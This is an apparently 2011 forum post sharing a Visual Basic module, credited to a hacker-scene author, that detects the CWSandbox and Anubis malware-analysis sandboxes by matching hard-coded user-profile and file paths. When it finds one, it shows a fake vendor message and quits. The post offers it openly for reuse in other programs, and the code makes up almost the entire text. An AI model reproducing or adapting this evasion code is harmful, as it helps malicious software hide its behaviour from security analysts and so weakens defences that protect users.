10-17-2011، 08:15 PM
کد:
'##############################################
'# Anti CW Sandbox & Anubis Module #
'# ------------------------------------- #
'# Module by haZl0oh for Os-Gentlemen.6x.to #
'# Shoutz to EvAriZzl , h0yt3r,Mastermaefju #
'# Ic3drag0n and OS-Gentlemen.6x.to Staff #
'# If u sue it gimme some shoutZ.... #
'##############################################
Public Sub cw_anub()
' Anti CW Sandbox
'-------------------------
If Environ("userprofile") = "H:/Dokumenteund Einstellungen/Schmidti" Then
MsgBox "No emulation or Virtualisation of this application possible" & vbCrLf & "Please contact your Vendor for more information.", , "Vendor notification."
End
Else
'ANTI Anubis
'--------------------
If App.Path & App.EXEName & ".exe" = "C:\sample.exe" Then
MsgBox "No emulation or Virtualisation of this application possible" & vbCrLf & "Please contact your Vendor for more information.", , "Vendor notification."
End
Else
'MsgBox "Success...."
End If
End If
End Sub